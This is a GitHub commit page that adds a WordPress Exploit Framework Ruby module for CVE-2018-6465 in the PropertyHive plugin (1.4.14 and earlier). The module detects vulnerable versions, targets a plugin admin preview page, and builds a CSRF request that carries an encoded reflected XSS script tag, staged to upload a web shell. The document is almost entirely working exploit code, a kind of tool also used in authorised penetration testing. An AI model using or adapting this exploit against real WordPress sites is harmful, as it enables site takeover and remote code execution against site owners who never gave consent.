Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit d337848

Browse files
committed
Add PropertyHive <= 1.4.14 reflected XSS shell upload
1 parent d0f5817 commit d337848

File tree

1 file changed

+37
-0
lines changed

1 file changed

+37
-0
lines changed
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::PropertyHiveReflectedXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::StagedReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'PropertyHive <= 1.4.14 CSRF Reflected XSS Shell Upload',
11+
author: [
12+
'Ricardo Sanchez', # Disclosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '9020'],
17+
['CVE', '2018-6465']
18+
],
19+
date: 'Jan 31 2018'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_readme('propertyhive', '1.4.15')
25+
end
26+
27+
def vulnerable_url
28+
normalize_uri(wordpress_url_plugins, 'propertyhive', 'includes', 'admin', 'views', 'html-preview-applicant-matches-email.php')
29+
end
30+
31+
def initial_script
32+
create_basic_post_script(
33+
vulnerable_url,
34+
'body' => "<script>#{xss_ascii_encoded_include_script}<\\/script>"
35+
)
36+
end
37+
end

0 commit comments

Comments
 (0)